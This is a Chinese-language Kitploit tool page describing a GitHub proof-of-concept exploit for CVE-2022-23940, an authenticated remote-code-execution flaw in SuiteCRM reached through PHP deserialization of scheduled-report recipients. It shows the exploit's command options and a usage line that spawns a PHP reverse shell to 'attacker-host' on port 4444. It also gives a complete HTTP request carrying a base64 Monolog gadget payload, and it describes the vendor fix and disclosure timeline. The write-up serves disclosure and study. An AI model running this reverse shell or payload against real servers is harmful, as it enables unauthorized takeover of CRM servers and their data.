Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-23940 — CVE-2022-23940 的 PoC | Kitploit
工具/GitHubGitHub/manuelz120/cve-2022-23940
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubmanuelz120/cve-2022-23940

CVE-2022-23940

CVE-2022-23940 的 PoC

查看仓库
14771年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2022-23940

CVE-2022-23940 的 PoC,又名 SCRMBT-#187 - SuiteCRM(<= 7.12.4)和 SuiteCRM-Core(<= 8.0.3)中通过计划报表(Scheduled Reports)实现的认证远程代码执行漏洞。

该漏洞已报告给 SalesAgility,并在 SuiteCRM 7.12.5 和 SuiteCRM Core 8.0.4 中修复。在受影响版本中,任何具有创建计划报表权限的用户都可以获得远程代码执行能力并危害服务器。如果您正在使用旧版本的 SuiteCRM,强烈建议您进行更新。

使用方法

安装

  1. 确保已安装最新版本的 python3 和 pip。
  2. 克隆仓库:git clone https://github.com/manuelz120/CVE-2022-23940.git
  3. 安装所需库 pip3 install -r "requirements.txt"
  4. 尽情享用吧 :)

可用选项:

(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2022-23940

示例用法:

asciicast

# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

漏洞分析

能够创建计划报表(可以在 AOR_Scheduled_Reports 模块中创建条目)的用户,可以通过滥用 PHP 反序列化漏洞在服务器上执行任意代码。

AOR_Scheduled_Reports 模块将报表的电子邮件收件人以序列化、base64 编码的字符串形式存储在数据库中。当接收计划报表的数据时,上述列会被反序列化。如果攻击者能够向该列插入任意内容,就可以通过各种 PHP 反序列化 gadget 实现 RCE(在我的测试中,我使用了 phpggc 工具中的 Monolog/RCE2)。

攻击者可以使用 AOR_Scheduled_Reports 模块的旧版 save 调用将载荷存储到数据库中。服务器错误地假设 email_recipients 参数始终是一个数组。然而,如果恶意客户端仅将 email_recipients 作为字符串传递,数据将原样存储到数据库中。一旦被反序列化,gadget 就会在服务器上执行,从而实现远程代码执行。

AOR_Scheduled_Reports 类中 save 函数的脆弱实现。再往下,我们可以看到 get_email_recipients 对存储在数据库中的内容调用 unserialize:

// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php

public function save($check_notify = false)
{
    if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
        $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
    }

    return parent::save($check_notify);
}

public function get_email_recipients()
{
    $params = unserialize(base64_decode($this->email_recipients));
    // ....

创建此类恶意计划报表的示例请求如下所示(如果您对 email_recipients 的值进行解码,可以看到它只是执行了 touch /tmp/hacked):

POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999

module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A

已实施的修复

如果我们查看修复后的代码,可以看到开发人员添加了一个新的 parseRecipients 函数,在将数据保存到数据库之前,该函数会解析并验证存储在 email_recipients 参数中的数据。只有值符合预期格式时,数据才会被存储。因此,反序列化 RCE 不再有效:

https://github.com/salesagility/SuiteCRM-Core/commit/63b969478d812d5ed937bf54fe5b174232e91a00#diff-0c100713e7e6c2c4c068cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2R205-R221

修复后的代码

时间线

  • 24/01/2022:发现漏洞并报告给 SuiteCRM
  • 25/01/2022:供应商(SalesAgility)确认漏洞
  • 02/03/2022:发布修复版本(SuiteCRM 7.12.5 和 SuiteCRM Core 8.0.4)

致谢

  • phpggc
下载工具